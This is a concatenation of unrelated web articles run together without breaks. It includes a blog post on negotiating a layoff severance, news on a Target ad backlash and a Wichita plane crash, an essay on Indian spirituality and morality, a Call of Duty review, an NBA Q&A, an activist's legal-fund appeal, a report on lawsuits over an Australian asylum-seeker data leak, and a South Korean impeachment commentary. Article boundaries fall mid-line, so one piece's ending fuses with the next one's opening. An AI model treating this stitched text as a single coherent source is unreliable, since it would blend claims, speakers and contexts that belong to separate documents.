I would like to hear your thoughts :-) Find me on Twitter and Facebook Did the article help you? Share it with your friends on social media, support me as my Patron, and become a full-stack developer with my booksGood things don’t happen to those who disbelieve. Be open to possibilities.
One of the push backs people have about my book, “How To Engineer Your Layoff: Make A Small Fortune By Saying Goodbye,” is doubt an employer will ever give them a severance. They think they’re either too good of an employee or too bad of an employee to ever receive one.
What these skeptics don’t understand is that a company’s greatest fear is losing their reputation. Let me use a fascinating example to explain.
Company Reputation Is Everything
No doubt HR personnel and managers everywhere have read this post on Medium entitled, How I Got Scammed By A Silicon Valley Startup. You should read it too if you are in a position of power or care to one day negotiate a severance.
In a nutshell, a woman by the name of Penny was promised a $10,000 relocation bonus to help her move from Texas to the Bay Area to join a startup. She would receive a $135,000 salary, equity, and a 3-month severance package if she were to leave without cause. Penny signed on and made the leap. After months of missing payroll, however, and receiving what she claims was a fake payment invoice, Penny filed a wage claim and says she was fired in retaliation.
When you “hire fast, fire fast” as the WrkRiot CTO told Penny during her initial interview, you might fail to realize the repercussions of your fast actions. Instead of working something out peacefully with her employer, Penny turned to the internet to blow them up!
Penny’s article has since been picked up by The New York Times and many of the biggest media publications on the web. Everybody in the startup industry knows her story and many more will too in the weeks to come. As a result of Penny’s article, her previous employer no longer exists. Their Twitter and Facebook profiles are gone. Previous employees and investors have disavowed the company and the CEO is now a ghost.
Instead of just reporting the news, let me share with you some lessons for both employers and employees to follow.
Lessons For Employers
Lesson #1: Don’t screw with your employees. They may go on the internet and light a torch to your barn. Your HR personnel and lawyers won’t be able to save your company once a disgruntled employee goes on a rampage. “Heav’n has no rage, like love to hatred turn’d, nor Hell a fury like a woman scorn’d,” William Congreve ( The Mourning Bride, 1697).
Lesson #2: Understand the risks if your disgruntled employee tells all. In Penny’s case, she had almost nothing left to lose at WrkRiot because she wasn’t getting paid her salary nor did she receive a severance, which she claims to be $50,000. That sounds abnormally high for only several months of work on a $135,000 base salary, but it’s a relatively small amount to pay if it could have prevented what followed.
Lesson #3: If you are not absolutely certain about a potential new hire, make him or her interview more people. What’s another two hours of interviews to make sure you’re not missing anything? Once you’ve hired the wrong person, it’s extremely unpleasant to lay the person off. You’ll probably want to wait at least three months to build a record of underperformance for documentation purposes. Then you’ll need to have the talk and start looking for a replacement. What a productivity killer. Spend more time in your vetting process instead.
Lesson #4: Be open to negotiations. Something can always be worked out. It’s less likely Penny would have filed a wage claim if her employer was honest and told her the company was in a severe cash crunch instead of sending a fake pay invoice. Did you know around 50 of Pandora’s first employees didn’t get paid for two years? The CEO didn’t know it was illegal to not pay his employees at the time, but he made up for their sacrifice and then some once the company went public.
Lessons For Unhappy Employees
Lesson #1: You have more power than you think. Not only can you have your tell-all editorial published in The New York Times like Greg Smith did when he wrote, Why I’m Leaving Goldman Sachs or publish on your own blog how you were constantly sexually harassed at Uber and HR and management did nothing, you can turn to platforms like Medium to potentially get your story told more easily using social media like Penny. like this one to tell your own story about what went down. You’ll be surprised at how much more respect people will give you once they know you have an established online platform. Related: How To Start Your Own Blog
Lesson #2: Know what’s at stake. The people who tell-all, even if they have a great reason to tell-all, will likely have a much more difficult time getting employed in the future. Rational employers won’t want to risk hiring someone with a history of blowing up their previous employer if there’s another candidate with equal skills and no such tendencies. No employer wants to always feel on edge wondering whether their company culture may offend you. If you plan to detonate your company, make sure you already have a signed contract to work for another employer. Or, make sure that if you win a lawsuit, you’ll win so much that you’ll never have to work again. There are much more undetectable ways to get back at your employer.
Lesson #3: It’s always better to negotiate. More than 90 percent of pending lawsuits end in a pre-trial settlement. In other words, both sides realize there’s too much to lose by going all the way to court. When you come to an agreement, a fair exchange takes place where both sides walk away happy. You won’t be seen as an “at risk” employee by future employers. Meanwhile, you’ll have a nice severance to hold you over until your next move.
Build Stronger Relationships
Reputation and a strong brand go hand in hand. If a brand really takes a lifetime to build and a minute to destroy, don’t you think a company will be more open to negotiations knowing that you have the ability to soil it with one post? Of course they will. Once you publicly trash your employer it will make recruiting and retaining qualified individuals much more difficult at the margin. If the company is publicly traded, perhaps its stock might take a hit as investors sell first and ask questions later.
You don’t have to threaten a company with a tell-all post if you don’t get the severance you want. Companies already know they are susceptible to assault. Instead, you need to build stronger relationships with your managers so that you can have an open dialogue to negotiate. Only the lazy or fearful quit a job with no backup plan because they can’t stand confrontation. You must protect your own brand as well if you are not financially independent.
When I raised my hand to get laid off in January 2012, I told my manager I was willing to sacrifice myself so he didn’t have to make a difficult decision to lay someone else off who wasn’t as amenable. Employees who’ve never managed people underestimate how difficult it is to tell someone their services are no longer needed. If you can help make your manager’s job easier, they’ll be more willing to help you get what you want.
In return for receiving a severance and all my deferred compensation, I offered to stay for as long as it took to train my subordinate to do my job. I reassured my manager I’d introduce him to all my clients, sing his praise, and stay until he felt comfortable my departure wouldn’t severely hurt the business. Further, I assured my boss I wasn’t going to a competitor.
In the end, I got the severance I felt was fair. I stayed on for a couple of months once I made my intentions known to help with the transition. The severance package alone has paid for 100% of my lifestyle for the past four and a half years. Now that my passive income target has been achieved, I don’t have to worry about my finances anymore. My last tranche of my severance was finally paid out in 1Q2017, and I’m absolutely FREE!
I’ll never speak ill of my employer because they took a chance on me when I was just 24 years old. Of course there were times when I thought I should have been paid more or promoted earlier. But that’s what every employee thinks when they are trying to ascend the corporate ladder in a highly competitive environment. Everything worked out in the end because I built as strong of a network as possible until I no longer cared.
Just look at what Susan Fowler did to Uber after publishing her post. Uber’s board fired their CEO, and there are no-longer any more C-level executives at the firm! You have more power than you think dear employees. Utilize your power. Negotiating a severance is absolutely possible.
Related Posts:
Never Quit Or Get Fired, Always Get Laid Off Instead
Examples Of Good Resumes That Get JobsA Target ad intended to show the inferiority of home-made Halloween costumes as compared to those sold at their stores may have backfired on the retail giant.
In the ad, an unhappy-looking child, dressed in an Ironman costume that appears to consist of a cardboard box, a battery-powered LED light and last year’s pajamas, gazes sadly at his reflection in the mirror as his mother goes for the camera. “Expect more. Pay less,” the ad concludes.
Although the ad has been around for a couple of weeks, it is only now starting to attract unfavorable notice.
“Target’s name is something of a self-fulfilling prophecy these days,” Geekosystem sneers. “Just to make sure that everyone has beef with them, the retailer has levied a snide, mocking blow at, of all people, moms who take the time to make charming homemade costumes for their kids instead of buying a cheap licensed knock off at some big box store.”
Slate is even more scathing, heading their story, “Annals of Amoral Advertising, Part One: Target Despises Homemade Halloween Costumes.”
“The politics of it are crassly offensive,” Slate’s Tom Scocca writes. “What distinguishes this Target commercial is its degree of blind, witless belief in its own message. … The ad only makes sense as a piece of propaganda in service of a broader mission, to teach children that they should be consuming identical mass-produced products whenever possible.”
And Wired.com has also picked up on the Slate story, commenting that “Target has just ticked off the entire Maker movement in just fifteen seconds.”
The Maker Movement is a do-it-yourself subculture that is tied in with everything from open source software to the Burning Man festival to pink-wigged cosplayers, and short of insulting 4chan, there may be few constituencies that a merchandiser could less afford to offend.
“Maybe they forgot that Tony Stark’s suit was homemade, too,” Wired concluded.
And Geekosystem similarly noted that “among the more famous superheroes with homemade costumes is the first one of them all, and that, indeed, Ma Kent did the sewing for him.”
This video was uploaded to YouTube on October 5, 2010.A Beechcraft King Air 200 crashed into a building at Mid-Continent Airport in Wichita, Kansas. The crash killed at least two people and injured four others. More updates as we get them.
Update: Firefighters are on scene, as reported on the local fire department scanner here.
This is not a small fire. Crews are setting up a hundred-foot perimeter for fear that the building sagging may turn into a collapse.
CNN is reporting on Twitter via the FAA that the plane lost power on takeoff.
A local NBC affiliate is reporting that the plane crashed into a flight safety building.
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It appears that the building is a Cessna Learning Center set up by Flight Safety ( here's a press release detailing the site). It should be noted that Beechcraft and Cessna are both based in Wichita.
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do not always adhere to it, but that’s another matter. In India, by contrast, we always saw morality as constricting human consciousness. We did not want to structure our lives — as well as behaviour — around morality; we also did not want morality to govern our relations with the world.
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A sense of morality makes a person repetitive in thought and action. Such a person will obviously not get anywhere. So, in India, we took the risk of raising human consciousness. A large segment of the population has invested itself to raise human consciousness — not to teach morality. It is a far riskier path, but it is ultimately the only way to work with humanity. If you impose morality on people, they will find ways to circumvent their guilt. They will make offerings to temples — or other places of worship — but also continue doing things that make them feel guilty. Religion today has largely become like this.
An American Airlines aircraft was once flying over Alabama. The aircraft developed engine trouble. The pilot said, “I will try my best to make sure the plane lands. But actually there is nothing much we can do. All of you just sit tight in your seats, tighten your seat belts and do something religious.” So one passenger immediately got up, took his hat and passed it around the aircraft. Because in most people’s mind, religion means asking for money.
Such behaviour is the outgrowth of a rigid set of morals and ethics. People will invariably break such rigid norms and then feel guilty about that. The feeling of guilt will make their lives miserable and they will look for a way out. What is the way out? Make a contribution to religious place and you will be pardoned. That is what happens in many religious places. At some of these places you may also see notices which specify the amount of contribution for each sin.
Once you set morals and place restrictions, there will be violations. When you stop people from doing certain things, there is a good chance that they will do exactly what they have been told to abjure. That is how human nature is.
There is no “thou shall not” in this country. Nobody ever told you what you should do and what you should not. We only told you how you should be, which is a more difficult lesson to impart. Ten commandments can be written down, but creating consciousness among people does not come easy. It takes a lot of work, and works best only when it is widely imparted — so that it is there in the immediate environment.
If parents, neighbours and the immediate milieu is steeped in a certain kind of consciousness, there is a good likelihood that children will grow up with the same consciousness. Not much effort will be required to raise consciousness in such a society. But we are at a crossroads in this country where not much has been done to raise consciousness. At the same time, we don’t have a shred of morality. We are trying to pick up a few western ethics. These are alien to us, and do not work. They have not worked even for people in the West.
At times, it appears easy to sermonise on morality and ethics. But morality and ethics appear good only when applied to others, never on oneself. But a person is imbued with consciousness, does not have to be told, “Do this or do not do that”. Such a person will act appropriately and according to a given situation.
Everywhere else in the world they try to tell you what is right and what is wrong. In this country, by contrast, you are not told what is right and wrong. You are only told what is appropriate in a given situation. What is appropriate today may not be so tomorrow. All the embodiments of the divine you worship — Rama, Krishna, Shiva — cannot call be called morally correct figures. They are not. Because it never occurred to them to be that way. But they are the peak of human consciousness.
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If you want something indigenous — not indigenous to this nation, but germane to to your being — do not impose rules; do not dictate, “thou shall not”. That is because people will bypass morality at the first opportunity they get. Let us make the necessary effort to see that human consciousness operates in a certain way because that is the only insurance — and the ultimate one — that we have.With the passing of one of the greatest players in school history, the Louisiana Ragin' Cajuns football team will honor the late Orlando Thomas during its Sun Belt Conference game at ULM on Saturday.The Ragin' Cajuns will honor the former All-American and two-time Big West Conference Defensive Player of the Year, who passed away on Sunday after a 10-year battle with amyotrophic lateral sclerosis (Lou Gehrig's disease), by wearing a special decal with the letters "OT" on their helmets for the remainder of the season.After Wednesday's practice inside the Moncla Indoor Practice Facility, head coachannounced that Thomas' No. 42 – one of seven retired numbers in Ragin' Cajuns history – would be re-instated for the ULM game with senior defensive back(no relation) given the honor of wearing the number."We just felt like that (helmet decal) wasn't enough to honor one of the greatest players to play here," Hudspeth said. "(Equipment manager)called me and I thought it was a phenomenal idea and it's a very fitting way to honor someone that has battled what he has battled, and the career that he has had here at UL.", a New Orleans native and former St. Augustine High product, has played in all nine games for the Ragin' Cajuns this season ranking fourth on the team in tackles (38) while recording an interception earlier this season at Ole Miss. His father, Quintin Thomas, played for the Cajuns from 1984-86 and was a graduate assistant during Orlando Thomas' playing days from 1991-94."It's an honor to be representing his number and for what's he's done on the football field,"said of wearing No. 42. "I kind of knew (it would be me) when Coach Hudspeth said, 'his father, played, his father coached.' I knew it was around that era from all the stories my father's told. He (Orlando Thomas) was probably the best defensive back that played at UL. My father would tell stories about when Orlando played and two things were going to happen, either receivers were going to lay down or he (Thomas) was going the other way with the ball in his hands."It's a honor to wear his number … I hope to wear it well."Kickoff between Louisiana (6-3, 5-0 Sun Belt) and ULM (3-6, 2-3 Sun Belt) is scheduled for 6:05 p.m. The game will be televised on ESPN3 and can be heard statewide on the Louisiana Ragin' Cajuns Sports Network.The exo suit on your back lets you pull off all sorts of nifty tricks.
The same guns, the same historical encounters, the same ping when an M1 Garand runs out of ammunition: After a few years of great first-person shooters, World War II got boring. So the developers of Call of Duty took their considerable prowess in creating a cinematic first-person shooter and delivered Modern Warfare. The fourth game in the main COD line, MW reset expectations for competitive console shooters while giving players access to, well, modern weaponry. But you can only shoot M-16s and AK-47s for so long. They might not ping like the old M1 does, but over time and annual sequels, the "modern" conflicts quickly ran out of history and headlines for developers to pull guns and conflicts from. The developers of Call of Duty pushed on into the realm of "near future," where plausible weapons that could be in our military's hands soon were ushered into the eager-yet-virtual hands of Team Deathmatch and Domination players around the world. That leads us to today. Sledgehammer's first full attempt to develop a Call of Duty game is called "Advanced Warfare."
By invoking the same sort of naming convention used by Modern Warfare, you get the feeling that they're trying to send a message. A message that this is new, and that it's perhaps meant to serve as a fresh start for a series that badly needs one. The resulting product is one that, yes, is still a Call of Duty game. The new, further-in-the-future-than-our-last-near-future guns are fun to play with. But the most meaningful change involves how you move your soldier around the battlefield. It probably won't be enough to drag in new players or pull in those who have written this type of game off entirely, but it's also the freshest thing to happen to Call of Duty since they decided to let you start shooting down UAVs.
The movement comes via a metal "exo suit" that the characters wear on their bodies. This lets you quickly dash sideways, forwards, and backwards. It lets you use an assisted double jump that helps you get up to high ground quickly and efficiently. And it lets you pound down onto the heads of your foes from above with a powerful but tricky-to-aim slam. It probably doesn't sound like much, but being able to get around the map more quickly and change your elevation with ease actually makes a huge difference. In single-player, it gives you new options and abilities to play with during a fun campaign with a story that would feel right at home in a typical, mindless summer blockbuster. In competitive multiplayer, being able to boost around corners to avoid incoming fire or dropping down off of rooftops and boosting behind an enemy feels outstanding. It's fun to shoot boosting enemies out of the sky, too, and overall, the boost jumps bring elevation into play more frequently than it's been in most of the past games in the franchise. Now that it's easier to get up there and you don't find yourself quietly loping up staircases or climbing ladders that leave you totally vulnerable, the battles end up feeling a bit more dynamic and faster-paced than before. The multiplayer maps are designed around your mobility and the whole thing fits together really well.
Advanced Warfare is a better-looking game than its predecessors, with some special attention paid to facial animations.
As before, Advanced Warfare is split up into three distinct modes. The campaign is another six-hour romp through a war-torn world. It's straightforward as ever, which is a little disappointing considering the series did better with player choice and branching in the campaign back in Black Ops II. It also delves into the same sort of "Private Military Companies behaving badly" story beats that every other piece of fiction about modern or future combat seems to these days. Despite some incredibly corny moments (including a button prompt that may replace Homefront's "Jump in Mass Grave" as the world's goofiest button prompt), the campaign is engaging and offers a somewhat more interesting story than the series typically delivers. Part of that comes from Kevin Spacey, who plays Jonathan Irons, the founder of Atlas Corporation, the PMC in question. The game benefits a lot from Spacey's performance, which looks extremely realistic in cutscenes and only slightly less realistic in-game. He delivers the kinds of speeches you'd expect and delivers them extremely well. You also get a fair amount of dialogue from Spacey's Irons as the game's unlockable intel, giving you insight into what his character was thinking over the course of the game. It's a strong performance that brings the rest of the proceedings up a notch, which isn't something you can say very often about film or TV actors when they appear in video games.
There's an upgrade system built into the campaign that lets you earn points by reaching milestones in number of kills, headshots, grenade kills, and laptops collected. These points can be spent on things like increased health, the ability to aim down your sights more quickly, have more battery power for your exo suit's abilities, and so on. It's not a huge feature, but it gives you a reason to at least think about using the game's smart grenades or keeping an eye open for those intel laptops.
Advanced Warfare's multiplayer offers most of the modes and options you've come to expect from the franchise. The shooting and weapon handling all feel as you'd expect them to, but the use of the game's exo suits really change things up. Suddenly, Call of Duty is even more about fighting from the rooftops, because you can quickly double-tap your jump button to get up there. Changing your elevation and moving around at faster speeds than you could previously makes the whole game feel more active without making the whole thing feel too biased in favor of players who stay on the move. Most of your boost jumps and dashes have a short window where you're just sort of hanging out in the air, so boosting around carelessly is a surefire way to get gunned down out of the sky over and over again.
This year's Call of Duty does "quiet" better than previous games have, which makes for a more varied pace than you typically get.
You'll also have an "exo ability" slot, which replaces tactical grenades. These are short-use things like Overclock, which gives you a termporary speed boost, or Hover, which makes it far easier for you to get shot out of the air over and over again. There's also a Cloak, in case you're playing against people who haven't already adjusted to seeing and shooting at Predator-style cloaked characters in video games. Overall, I found the exo abilities to be almost totally useless.
Classes, which can be customized right out of the gate, are built using a spin on the "Pick 10" system first implemented in Black Ops II. This is a highly customizable system that lets you do things like opt out of carrying a second weapon in order to, say, carry more attachments for your primary weapon or enable more perks. Advanced Warfare uses a "Pick 13" system that gives you three more points to spend and also brings scorestreak bonuses, like UAVs and care package drops, into the system. So, if you're the sort of player who never survives long enough to call in any of the cooler streaks, just remove them from your class and carry more cool stuff. It's a smart update to the system and it'd be nice to see the series stick with something along these lines for awhile. It's nicely flexible.
Unlike last year's Ghosts, the unlocking of weapons, perks, and attachments all come at a set pace and in a set order. There are no squad points to spend and attachments come from you using the gun effectively. You'll unlock a red dot sight for most weapons after getting 20 kills with it, for example. This leads to a situation where some of your level increases unlock things you have no desire to use, but the level ramp has been reset back to level 50, and I felt like I had most of what I needed to effectively build my kind of class at around level 17. You'll also unlock the ability to customize your scorestreaks, which is a cool idea. This means you can turn your regular UAV into an orbital UAV that can't be shot down. Or your sentry gun can fire rockets instead of bullets. Or you can flip any of them to "support," which means that points earned towards your streaks stay with you after you die. The catch is that these upgrades make the streaks more expensive.
These ridiculous dual chainguns can be planted into the ground for additional control, but multiplayer moves so fast that standing still doesn't seem like such a great idea.
Mode-wise, Advanced Warfare has most of what you'd expect to see and a couple of new options. Team Deathmatch and Domination seem to rule the day, but you can get into Kill Confirmed, Hardpoint, Search & Destroy, CTF, and plenty of others. Personally, I still miss Headquarters, though I suppose Hardpoint is similar enough. Uplink is a new mode that turns the game into basketball or soccer with guns. A ball-shaped satellite spawns at a set point on the map and two goals are placed roughly at either end of the map. Players need to grab the ball and either run or toss it into the floating goal at the opposing team's end of the map. You can pass the ball around and, if you like, you can accomplish melee kills while holding it. It's fast-paced and fun, with the exo boosts and jumps giving it a more frenetic feel than it'd have otherwise. Momentum is a renamed "War" mode, which appeared in Treyarch's early Call of Duty games. Five capture points are set across the map and they must be taken in a set order. The two teams attempt to push back and forth across the five flags until one team controls them all.
In addition to building your class out, you can also cosmetically alter your character with various shirts, shoes, pants, armor, and so on. The list feels a little restrictive, but grows as you acquire "supply drops." These seem to randomly pop as you're playing multiplayer, and, after a match, a drop turns into three items. Many of these are new ways to dress up your soldier, but you'll also get weapon variants. These take existing weapons and slightly alter their stats. So you might find a submachine gun that drops rate of fire by one point but raises your mobility by two, for example. Or a rifle that forces a silencer on you in addition to altering other stats. You also find more ephemeral things, like a short period of doubled experience point gain or a one-time orbital drop that activates a few minutes into your next match. You probably won't be able to have everything unlocked at once, which is a little frustrating. Items fit into your character's armory, which maxes out at just over 80 slots. If you end up with items you don't like, you can scrap them, which turns them into bonus XP. You'll also occasionally earn something called the Bloodshed Helmet, which can't be scrapped and expires after 30 minutes of in-game use, which just reverts you back to the default look once it expires. Expiring cosmetic items comes off like a really dumb idea, but the vast majority of items that enter your armory will stay until you decide to junk them.
The co-op mode in Advanced Warfare is called Exo Survival, and it puts you and up to three other players onto the multiplayer maps for a little wave-based survival. In addition to facing round after round of increasingly stiff AI opposition, you'll also run into objective-based rounds that might ask you to collect dog tags or defuse bombs in a hurry. Completing these tasks are one way to get more upgrade points, which you'll spend at terminals to upgrade your weapons and suit capabilities. It's very straightforward and, overall, it's a good time. But once you start getting good at it, these matches can last a very, very long time.
With a game set 25 years after the already-futuristic Black Ops II, you're going to see some fancy stuff.
Advanced Warfare does great with character models, but the whole experience is a better-looking and smoother Call of Duty than Ghosts was. The image quality, overall, is sharper and more defined. Whereas Ghosts would bog down on PlayStation 4 and Xbox One, Advanced Warfare is typically more stable and capable of staying up around that magical 60 frames-per-second mark. It's not some world-changing difference that's going to make you rethink what game consoles are capable of in 2014, but it's a solid increase all around when you compare it to the franchise's last entry. It looks and performs largely similarly across both Xbox One and PlayStation 4, though I continue to prefer the PS4's controller for shooters. Meanwhile the PC version is, obviously, capable of running at a higher resolution. It looks sharp also gives you more video options than most PC games seem to these days.
Advanced Warfare doesn't reinvent Call of Duty. It's not the same dramatic shift that we saw when the series went from World War II to the modern era. Perhaps holding out hope for something as revolutionary as Modern Warfare was when it hit back in 2007 is foolish. Be that as it may, as someone who has been drifting further and further away from Call of Duty for the past few years, I can certainly say that Advanced Warfare's mobility kept me interested much longer than Ghosts or Black Ops II has. It's the best multiplayer the game has seen in some time and the whole thing totals up to a satisfying, if familiar experience.Q: The Warriors won a decisive Game 4 of the NBA Finals by making 17 3-point shots and only 16 two-point shots. (They only shot.407 overall for the game). It sure seems like the NBA game continues to evolve into the way the Warriors are playing. Do you still think the Heat can become an elite team by bucking the trend of 3-point shooting? Riley said there are other ways to win in the league. -- Stuart.
A: I believe where teams fail is when they attempt to fit their players into systems rather than design systems around players. Exhibit A would be Phil Jackson foisting the triangle on an ill-suited Knicks roster or even David Blatt trying to import the Princeton offense to Cleveland at the start of 2014-15. With the Warriors, when you have Stephen Curry and Klay Thompson, you shoot 3-pointers. And when you have Draymond Green, it's a lot easier to get to the hybrid undersized approach, when you have such a versatile talent capable of defending opposing big men. So, no, the Heat (or most others teams) can't enter camp next fall and tell their players the plan is for a 3-for-all. Just this past season, Erik Spoelstra adjusted his defense to play to the strengths of Hassan Whiteside. Oklahoma City came awfully close to showing there are ways to compete with the Warriors without attempting to beat them at their own game. What I will say about the phenomenon that is the Warriors, though, is that there are worse approaches than starting from an approach with ball movement. It's about getting the best possible shots, with your roster dictating whether those shots are 3-pointers.
Q: Ira, what team(s) in the East do you think will get better next season to challenge Cleveland for the East title? -- Leroy.
A: Well, based on this past season's standings, you might say Toronto, but there are so many free-agency questions with the Raptors, starting with DeMar DeRozan, Beyond that, there are the Heat, although that possibility rests with whether Chris Bosh can make it back from his blood clots. The reality is that the Cavaliers, as currently constituted, would enter next season again as the overwhelming favorites. So the question becomes whether, in a bid to gain ground on the Warriors, the Cavaliers risk a roster overhaul that could impact their place in the Eastern Conference hierarchy. Or, of course, whether LeBron James leaves.
Q: Is it just time for Heat fans to let go on LeBron and hoping he comes back? -- Harrison, Delray Beach.
A: I believe it's like the hope of Kevin Durant hoping aboard. There is no reason to give up on a dream until the possibility is extinguished. It's what makes free agency among the most popular times of the NBA schedule for fans. It's when anything and everything could be possible... until it isn't.Sarah - a pro-choice activist and feminist is in urgent need of legal funds surrounding politically charged criminal proceedings she'll be facing in the coming months.
Police arrested Sarah in December 2010 during a regularly occurring pro-choice demo where she and other activists hold welcoming signs for patients entering reproductive health clinics to combat the harassment anti-choicers inflict on patients. The courts pinned Sarah with outlandish felony and misdemeanor charges. On arrest, the arresting officer purposefully misgendered Sarah as male (despite previously referring to Sarah as "she") before his colleagues subjected her to abuses within the jail due to her sexual orientation and gender expression.
Sarah is currently on her way to trial. The first preliminary hearing ended in a continuance as neither the anti-choicers nor the police showed up. During the second preliminary hearing date, all legally involved were in attendance. During the hearing the antis were relentless, stating blatant lies on the stand. The judge recommended a plea deal to drop Sarah's charges to a summary offense of which the antis turned down. The judge attempted to convince them that the Christian thing to do would be to have some mercy - advising them to think very hard about choosing to disrupt Sarah's life in such a way. Ignoring the judge's advice, the antis insisted on pressing charges. Sarah is a queer, single mother of a three year old child. As apparently these "pro-family" Christians have little room for consideration of the welfare of children beginning life outside the womb, Sarah is being forced into a long criminal court process during which she will have to spend time away from her child and afford childcare costs.
Anti-choice Christians claim that they care about women and children. They allege to come from a place of gentle love and compassion. These are the same people who have told pro-choice counter protesters (trigger warning!) that women's clothes invite rape, that they themselves would rape women if it weren't for Jesus, and that child victims of molestation and sexual assault who undergo abortions should face jail time, among other misogynistic, infectious, and anti-family sentiments. These people clearly demonstrate the anti-choice movement's true purpose: controlling women. It is not about caring for the life and health of children or their parents. Countering anti-choice harassment and supporting patients is very important for these reasons and a thousand others. We cannot let these people and their lies stop patient support, nor can we allow the legal system to harm mothers and children in our communities.
Through organizing and attending clinic protests over the past months, Sarah has shown endless commitment to supporting women and countering the damaging effects of the anti-choice movement in Pittsburgh. Please show her your support in return.
Sarah is in urgent need of monetary support so that she can be properly represented in court to allow her to get back to her normal life with her family. We need to raise $5,000 to cover expenses including those for legal counsel, court fees, and childcare costs.
To donate securely electronically using paypal, click here: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=TYW...
Please direct any further questions (including how to send cash/checks) to pittsburghpcwc at gmail dot com
Thank you very much for your support!The Australian Government is facing a series of court battles after accidentally disclosing the personal details of almost 10,000 asylum seekers last month.
The Department of Immigration and Border Protection (DIPB) admitted to inadvertently leaking the personal details of the asylum seekers via its website in mid-February.
The leaked database contained the full names, nationalities and boat arrival dates and information of all individuals held on a mainland detention facility and on Christmas Island.
Australia's Immigration Minister Scott Morrison has said the information was never intended to be in the public domain, and the department has taken steps to mitigate the breach, which were for the most part futile. The breach is currently being investigated by the Privacy Commissioner as well as audit firm KPMG.
The leak, which Opposition immigration spokesman Richard Marles described as “one of the most significant breaches of privacy in Australia’s history”, is now the subject of multiple lawsuits by affected asylum seekers, who claim they are now more vulnerable to persecution in their country of origin.
As first reported by The Guardian, asylum seekers in NSW, WA and the Northern Territory currently awaiting deportation by the Immigration department have appealed for automatic protection in some 90 individual applications.
The appeals argue that an individual seeking asylum should be free to make claims for protection without their identity and personal details being disclosed to authorities in other countries, according to The Guardian. A directions hearing is scheduled for March 19 in NSW.
Lawsuits are common in the aftermath of major data breaches.
A wave of lawsuits broke out across the United States seeking restitution over the 40 million credit and debit card and 70 million customer records stolen from Target shoppers following a security breach at the US retail giant late last year.
The breach occurred after a third party contractor was caught out by a phishing email carrying a popular bot. The theft also resulted in the departure of Target’s US CIO.
Another US retailer, Neiman Marcus, suffered a similar data breach in early January 2014, revealing an “undisclosed” number of payment card details may have been stolen.
A resulting class action lawsuit alleged that damages resulting from the breach exceeded $5 million.
Adobe also faced a class action lawsuit over the October 2013 exposure of the credit card data of three million of its customers and the logins and passwords of 38 million users.
The lawsuit was filed in November last year and claimed Adobe had failed to use industry best practices for its security, contrary to what it promised in its privacy policy.
Morrison still the final port of call
Successful court action by the asylum seekers is unlikely to result in the granting of automatic protection, with the power to grant visas lying solely with Australia's Immigration Minister.
Gilbert + Tobin lawyer Peter Leonard told ITnews the Federal Court does not have the power to direct Morrison to grant automatic protection, only that the discretion should be exercised again due to the extenuating circumstances.
“The courts can’t tell the Minister how to act, but it can say ‘this is different from when you did act, so you should make your decision again’. And that’s not uncommon for the courts as part of administrative law,” Leonard said.
“At the heart of it what [the asylum seekers] are saying is the breach has created a real and present possibility of harm that these asylum seekers might not have had before, and that danger should be taken into account in the reviewing of their asylum status.”
IT lawyer Kay Lam-MacLeod from IdeaLaw told ITnews the courts would be looking at whether the Government took reasonable steps to protect the data and what security it had in place when making its decision.
But she said the applicants may face difficulty in proving the Government was liable as a result of the breach.
She said in the normal cause of negligence, plaintiffs would have to prove a business failed to take reasonable precautions, then prove they had suffered damage as a result.
“Generally if they were going to try and succeed in a case for negligence and prove damages, they’d have a bit of trouble trying to prove they suffered damage because the damage may not yet be apparent,” she said.
“And they may have trouble tying damages back to causation - just because it was available on the internet for a period of time, it doesn’t mean their home country regimes they are fleeing from actually accessed the information.”
In the private sector, efforts to pursue two international companies for damages over large-scale data breaches failed after the plaintiffs were unable to prove intentional conduct and actual damages.
Sony was hit with a giant class-action lawsuit following the 2011 attack on its PlayStation Network and Qriocity on-demand entertainment service, which revealed the user addresses, emails, usernames, birth dates and other credentials of 77 million users.
But while the plaintiffs claimed negligence on the part of Sony, the class action was largely dismissed after the judge found the case failed to prove willful, intentional or reckless conduct on the part of Sony.
A June 2012 data breach at LinkedIn disclosed the passwords of 6.5 million users, some of which filed a $5 million class action lawsuit.
That lawsuit was dismissed before even getting to trial after a US judge ruled that damage done to users was abstract and not actual.Christopher Green is a researcher at Universiteit Leiden in the Netherlands and one of the senior editors of Sino-NK, a digital periodical dealing with Northeast Asian affairs. The opinions in this article belong to the author
The impeachment vote, which passed by an unexpectedly wide margin encompassing more than 60 members of the President's own party, means that Park is locked out of the president's office and Prime Minister Hwang Kyo-ahn takes over her official responsibilities.
However, the seemingly smooth transition has not eliminated fears that North Korea could try to capitalize on the lack of clear leadership in Seoul.
North Korean assertiveness on the military and political fronts this year only adds to the anxiety. In 2016, Pyongyang has so far conducted two nuclear tests in a single year for the first time, as well as launching an earth observation satellite, Kwangmyongsong-4, in violation of UN Security Council resolutions
Meanwhile, the Seventh Korean Workers' Party Congress, held in early May after a 36-year hiatus, argues for a stable political system emerging from years of transition to the rule of Kim Jong Un. For all its stage-managed improbability, politics in Pyongyang stand in stark contrast to what is taking place less than 200 km away in Seoul.
However, South Korea appears to be in control of the situation. Aware of the need to send clear signals -- not only to North Korea but also to the wider world and international investors -- government officials have set about calming sentiment.
In a pre-planned step, Defense Minister Han Min-goo convened a teleconference with military commanders at 5 p.m. Friday, just one hour after the result of the impeachment vote. In the meeting, Han urged vigilance against the risk that North Korea could try to make hay out of the situation, warning that "the more difficult the country is, the more important is the role of our military."
The financial sector responded equally rapidly. Following a similar vote to impeach former President Roh Moo-hyun in 2004, the stock market in Seoul tumbled into a period of volatility. In the three days after the impeachment motion was tabled on March 9 that year, the country's main KOSPI index shed 5.7%. This was followed by another 2.43% on the day that the motion passed.
JUST WATCHED South Korea accuses North Korea of hack Replay More Videos... MUST WATCH South Korea accuses North Korea of hack 02:20
The effect this time around has so far been minimal, with the KOSPI closing just 0.3% down. The Bank of Korea is hoping to remain in the same calm waters. Gov. Lee Ju-yeol met the impeachment vote by announcing a task force to monitor the economy for signs of unrest. Finance Minister Yoo Il-ho also convened a meeting of key officials to discuss possible policy responses.
Finally, Foreign Minister Yun Byung-se moved to reassure the diplomatic community that it is business as usual. He dispatched a message to the country's diplomatic missions worldwide to explain that foreign policy will not change, before meeting with key ambassadors including the United States, China, Japan, Russia and the European Union to issue the same message. Following the meeting, US Amb. Mark Lippert told reporters that the US-ROK alliance is and will stay strong, and vowed to keep working closely with the government of South Korea.
